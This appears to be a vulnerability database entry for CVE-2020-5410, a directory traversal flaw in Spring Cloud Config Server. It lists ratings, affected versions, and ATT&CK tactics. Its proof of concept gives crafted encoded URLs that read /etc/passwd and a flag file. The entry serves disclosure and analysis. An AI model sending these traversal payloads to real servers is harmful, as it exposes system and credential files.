Very High
CVE-2020-5410
CVE ID
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CVE-2020-5410
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Spring Cloud Config, versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack.
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Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Directory Traversal with spring-cloud-config-server
DESCRIPTION
Spring Cloud Config, 2.2.x versions before 2.2.3, 2.1.x versions before 2.1.9, and older unsupported versions allow applications to provide arbitrary configuration files through the spring-cloud-config-server module. Malicious users or attackers can use specially crafted URLs to send requests, which may lead to directory traversal attacks.
PROOF OF CONCEPT
http://127.0.0.1:8889/flag.txt%23/222/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29tmp%28_%29 http://127.0.0.1:8889/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Ftmp%252Fflag.txt%23/222/11 http://127.0.0.1:8889/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/222/11
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General Information
Vendors
- vmware
Products
- spring cloud config
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Additional Info
Technical Analysis
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CVE ID
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